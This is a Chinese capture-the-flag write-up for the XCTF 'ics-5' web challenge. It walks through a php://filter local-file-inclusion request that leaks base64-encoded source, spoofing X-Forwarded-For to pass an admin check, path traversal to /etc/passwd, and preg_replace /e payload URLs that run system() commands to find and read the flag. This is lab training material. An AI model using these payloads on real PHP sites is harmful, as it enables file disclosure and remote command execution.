攻防世界ics-5wp

0x01 ics-5

浏览只有一个index页面，想到down源码，无果。
查看源代码发现有个page参数可以传值，利用LFI来查看源码。

/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

读到base64加密的源码

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=

解码后发现源码中

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "
Welcome My Admin ! 
";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

于是伪造ip

接着利用文件包含漏洞

/index.php?page=../../../etc/passwd

读取到

最后利用preg_replace /e代码执行漏洞 具体参考深入研究PHP中的preg_replace和代码执行

preg_replace( pattern , replacement , subject ) : 当pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)
payload：

/index.php?pat=/test/e&rep=phpinfo()&sub=test


/index.php?pat=/test/e&rep=system('find / -iname flag')&sub=test

查找flag文件

最终payload：

?pat=/test/e&rep=system('cat /var/www/html/s3chahahaDir/flag/flag.php')&sub=test